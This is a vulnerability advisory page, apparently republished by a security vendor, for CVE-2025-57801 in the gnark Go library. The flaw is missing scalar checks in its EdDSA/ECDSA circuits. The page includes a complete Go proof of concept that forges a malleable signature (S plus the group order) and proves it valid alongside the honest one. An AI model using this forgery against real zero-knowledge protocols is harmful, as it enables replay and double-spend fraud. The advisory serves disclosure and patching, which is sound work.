🛡️ CVE-2025-57801 — gnark
Description
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
In version before, sig.s used without asserting 0 ≤ S < order in Verify function in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability.
Impact
Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.
Exploitation
```go
package main
import (
"crypto/rand"
"fmt"
"math/big"
"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"
te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)
// Circuit
type eddsaCircuit struct {
Msg frontend.Variable gnark:",public"
Pk stdEddsa.PublicKey gnark:",public"
Sig stdEddsa.Signature
}
func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}
func groupOrder() *big.Int {
// BN254 scalar field order (r)
const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}
// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()
var forged eddsaCrypto.Signature
forged.R = sig.R
s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)
buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}
func main() {
// Generate key pair
priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")
// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)
var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order
// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}
pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}
// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())
// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())
witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}
proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}
// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)
witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness2: %v\n", err)
return
}
proof2, err := groth16.Prove(ccs, pk, witness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
publicWitness2, err := witness2.Public()
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
err = groth16.Verify(proof2, vk, publicWitness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
fmt.Println("Witness 2 (forged): Prover succeeded!")
}
}
}
}
```
Result
```bash
go run multiple_witnesses.go
13:47:33 INF compiling circuit
13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3
13:47:33 INF building constraint builder nbConstraints=7003
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334
13:47:33 DBG prover done acceleration=none backend=groth16
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.
Weakness class
CVE-2025-57801 is classified as CWE-347: Improper Verification of Cryptographic Signature. A signature is not checked correctly, so forged or modified content is accepted as genuine.
Affected software
CVE-2025-57801 is recorded against 2 packages.
- github.com/consensys/gnark
- gnark (fixed in 0.14.0)
Timeline and source
Published on 22 August 2025 and last revised on 3 March 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
pkg.go.dev (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/consensys/gnark | — | — |
| gnark | — | 0.14.0 |
References
Similar Threats
- Unknown GO-2025-4087
- High GHSA-fj2x-735w-74vq
- High CVE-2025-58157
- Medium CVE-2024-50354
- Medium CVE-2024-45039
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Exploit Protection
Are you running gnark?
CVE-2025-57801 carries CVSS 9.1 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-57801 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.